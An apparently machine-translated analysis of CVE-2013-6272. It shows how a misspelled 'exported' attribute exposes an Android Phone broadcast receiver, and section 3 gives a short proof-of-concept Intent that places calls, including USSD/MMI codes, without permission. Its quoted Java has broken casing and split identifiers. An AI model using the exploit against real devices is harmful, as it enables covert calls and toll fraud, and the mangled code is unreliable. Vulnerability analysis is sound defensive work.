CVE 2013-6272 Android Phone phone call exploit analysis

1. Brief introduction
   

The vulnerability was discovered by CURESEC, a German security research agency, who secretly told Google at the end of last year that it didn't decide to release a similar loophole until July this year. This vulnerability involves COM.ANDROID.PHONE.PHONEGLOBALS$NOTIFICATIONBROADCASTRECEIV component exposure, causing a malicious application to call without having to declare any permissions.

2. Vulnerability Details

In Android source code (take Jelly_bean 4.3 for example)/packages/apps/phone/src/com/android/phone/ Phoneglobals.java there is a broadcastreceiver called Notificationbroadcastreceiver.

public static class notificationbroadcastreceiver extends broadcastreceiver {          @Override          Public void onreceive (context context, intent intent)  {             string action = intent.getaction ();             // TODO: use  "if  (vdbg)"   HERE.            LOG.D (LOG_TAG,  "Broadcast  from Notification:  " + action);             if  (Action.equals (action_hang_up_ongoing_call))  {                 phoneutils.hangup ( Phoneglobals.getinstance (). MCM);            } else if  (Action.equals (action_call_back _from_notification))  {                 // Collapse the expanded notification and the  notification item itself.                 closesystemdialogs (context);                 clearmissedcallnotification (context);                 Intent callIntent = new  Intent (Intent.action_call_privileged, intent.getdata ());                 callintent.setflags (intent.flag_activity_new_task                         |  intent.flag_activity_exclude_from_recents);                 context.startactivity (callintent);             } else if  (Action.equals (action_send_sms_from_notification))  {                //  Collapse the expanded notification and the notification item  itself.                 Closesystemdialogs (context);                 clearmissedcallnotification (context);                 intenT smsintent = new intent (Intent.action_sendto, intent.getdata ());                 smsintent.addflags (Intent.FLAG_ Activity_new_task);                 context.startactivity (smsintent);             } else {                 LOG.W (log_tag,  "received hang-up request from notification,"                           +  " but there ' s no call the system can  Hang up. ");             }         } 

From the code, you can see that this phoneglobals$notificationbroadcastreceiver triggers different actions based on the three kinds of action that receive intent:

(1) Action_hang_up_ongoing_call: Hang up the phone that is in progress;

(2) Action_call_back_from_notification: Sends the ACTION to intent.action_call_privileged intent and eventually initiates the dial-up activity ( For Outgoingcallbroadcaster, learned from Androidmanifest), direct dialing;

(3) Action_send_sms_from_notification: Send Intent, start the activity of sending SMS, this step need user intervention.

Interestingly, there was such a comment before the notificationbroadcastreceiver,

Accepts broadcast Intents which would be prepared by {@link Notificationmgr} and thus sent from framework ' s notification me Chanism (which is outside Phone context). This should is visible from the outside, but shouldn ' t is in the "exported" state.

Programmers also know that this class should not be exported to the state.

However, in the/packages/apps/phone/androidmanifest.xml, you see the following statement, note that the red part should be android:exported: "false", because the programmer knocked a little Android, Causes false to not actually take effect.

<!--Broadcastreceiver for receiving Intents from Notification mechanism. -
521 <receiver android:name= "Phoneglobals$notificationbroadcastreceiver"exported= "false" >
522 <intent-filter>
523 <action android:name= "Com.android.phone.ACTION_HANG_UP_ONGOING_CALL"/>
524 <action android:name= "Com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION"/>
525 <action android:name= "Com.android.phone.ACTION_SEND_SMS_FROM_NOTIFICATION"/>
526 </intent-filter>
527 </receiver>

The following is a description of the android:exported attribute in the receiver component manifest in the Android SDK documentation.

• android:exported

• Whether or not the broadcast receiver can receive messages from sources outside its application-" true " if it can, and  " false " if not. If " false ", the only messages the broadcast receiver can receive is those sent by the components of the same application or a Pplications with the same user ID.

  The default value depends on whether the broadcast receiver contains intent filters.  The absence of any filters means that it can is invoked only by Intent objects thatspecify its exact class name. This implies, the receiver is intended only for application-internal use (since others would not normally know the CLA  SS name). The ' so ' case, the default value is ' false . On the other hand, the presence of in least one filter implies that the broadcast receiver was intended to receive intents Broadcast by the system or other applications, so the default value is " true ".

  This attribute are not the only-to-limit a broadcast receiver's external exposure. You can also use a permission to limit the external entities that can send it messages (see the permission attribute).

When True indicates that receiver can receive messages other than the owning app, and false, only messages sent by the same app component or the same UID app are received. The default value of this property depends on whether the intent filter is declared and, when there is no declaration, the default is flase; when at least one intent filter is declared, the default is true. In Package.apps.Phone's manifest file, the Android:exported property was not set because it had been knocked down by Android, and the file declared 3 intent filter, so take the default value TRUE. This is the cause of the loophole.

3. Exploits and Harms

Let's take a look at the normal call process in Android, such as the following code, where the user clicks the button and dials the number in the Editext input box.

  protected void oncreate (bundle savedinstancestate)  {                 super.oncreate (savedInstanceState);         setcontentview (R.layout.newmain);                 bt =  (Button) Findviewbyid ( R.ID.BTN1);        edt =  (EditText) Findviewbyid (R.ID.EDIT1);                  Bt.setonclicklistener (New button.onclicklistener ()  {             public void onclick (VIEW V)  {                 string inputstr = edt.gettext (). ToString ();                                  if (Inputstr.trim (). Length ()!= 0)                  {                     Intent  Phoneintent = new intent ("Android.intent.action.CALL",                               uri.parse ("Tel:"  + inputstr));                     startactivity (phoneIntent) ;                }                 else                 {                     toast.maketext (mainactivity.this,  "Please enter the number!",  Toast.length_long). Show ();                 }                }             });

Also need to declare permissions in the manifest file

<uses-permission android:name= "Android.permission.CALL_PHONE"/>

Using the above vulnerabilities malicious app, but do not need any permissions, only need to invoke the following code

Intent Intent = new Intent (); Intent.setcomponent (New ComponentName ("Com.android.phone", " Com.android.phone.phoneglobals$notificationbroadcastreceiver ")); Intent.setaction (" Com.android.phone.ACTION_ Call_back_from_notification "), Intent.setdata (Uri.parse (" tel:xxx ")); Intent.setflags (intent.flag_activity_new_ TASK); Sendbroadcast (intent);

Because intent.action_call_privileged also supports USSD/SS/MMI directives similar to * #06 #, it can cause more serious harm.

4. Scope of impact and POC

The affected Android versions are as follows

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/4D/8E/wKioL1RTNlfAQgFlAAB4gOQD_xI496.jpg "title=" QQ picture 201407161057011.jpg "alt=" Wkiol1rtnlfaqgflaab4goqd_xi496.jpg "/>

[3] curesec the app that implements the POC on its website and writes the Drozer utilization module.

Reference:

[1] http://1.xbalien.sinaapp.com/?p=171

[2] http://androidxref.com/4.3_r2.1/xref/packages/apps/Phone/src/com/android/phone/PhoneGlobals.java#1575

[3] Http://blog.curesec.com/article/blog/35.html

CVE 2013-6272 Android Phone phone call exploit analysis